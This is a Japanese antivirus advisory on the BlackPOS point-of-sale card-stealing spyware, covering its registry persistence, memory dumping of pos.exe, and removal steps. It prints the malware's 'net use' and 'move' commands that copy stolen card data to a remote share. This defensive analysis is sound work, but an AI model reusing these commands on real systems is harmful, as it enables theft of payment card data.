TSPY_POCARDL.AB

2014年8月29日
 解析者: Mark Joseph Manahan   

 別名:

Troj/Tracur-BL (Sophos) ,Trojan horse BackDoor.Agent.AWRE (AVG) ,W32/POSCardStealer.BL!tr (Fortinet) ,W32/Pws.CFXL (exact) (Fprot) ,Win32.Pocardler (Ikarus) ,Trojan:Win32/Ploscato.B (Microsoft) ,PWS-FBOJ (McAfee) ,Win32/Spy.POSCardStealer.T trojan (Eset) ,Infostealer.Reedum.B (Symantec)

 プラットフォーム:

Windows 2000, Windows Server 2003, Windows XP (32-bit, 64-bit), Windows Vista (32-bit, 64-bit), Windows 7 (32-bit, 64-bit)

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: スパイウェア
  • 破壊活動の有無: なし
  • 暗号化: はい
  • 感染報告の有無: はい

  概要

感染経路 他のマルウェアからの作成, ピアツーピア(P2P)の共有フォルダからのダウンロード

スパイウェアは、「BlackPOS」としても知られています。

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

スパイウェアは、感染コンピュータや感染ユーザから特定の情報を収集します。


  詳細

ファイルサイズ 270,336 bytes
タイプ EXE
メモリ常駐 はい
発見日 2014年1月20日
ペイロード URLまたはIPアドレスに接続

侵入方法

スパイウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

自動実行方法

スパイウェアは、自身をシステムサービスとして登録し、Windows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ImagePath = "{Malware Path and Filename}"

他のシステム変更

スパイウェアは、以下のレジストリキーを追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Enum\Root\LEGACY_POSWDS

スパイウェアは、インストールの過程で、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
DisplayName = "POSWDS"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ErrorControl = "0"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
FailureActions = "{Hex Values}"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
ObjectName = "Local System"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS
Type = "272"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
0 = "Root\LEGACY_POSWDS\0000"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
Count = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Enum
NextInstance = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\POSWDS\Security
Security = "{Hex Value}"

情報漏えい

スパイウェアは、以下の情報を収集します。

  • Credit/Debit Card Information

情報収集

収集した情報は、以下のファイルに保存されます。

  • %system%\winxml.dll

その他

スパイウェアが収集する情報は、クレジットカードやデビットカードの情報です。

スパイウェアは"pos.exe"のメモリを以下にダンプします。

  • {Malware Path}\{3 random number}.memdump

スパイウェアは、午前10時から午後5時の間の毎時1回、以下のコマンドを用いてネットワーク内のローカルコンピュータに収集した情報をアップロードします。

net use S: \\{BLOCKED}.{BLOCKED}.240.31\c$\WINDOWS\twain_32 /user:{username} {password}
move %system%\winxml.dll S: {Username}_{Day}_{Month}_{Hour}.txt
net use S: /del


  対応方法

対応検索エンジン: 9.700
初回 VSAPI パターンバージョン 10.552.04
初回 VSAPI パターンリリース日 2014年1月20日
VSAPI OPR パターンバージョン 10.553.00
VSAPI OPR パターンリリース日 2014年1月20日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 3

このレジストリキーを削除します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

 
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\POSWDSHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    • POSWDS
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root
    • LEGACY_POSWDS

手順 4

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %system%\winxml.dll

手順 5

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「TSPY_POCARDL.AB」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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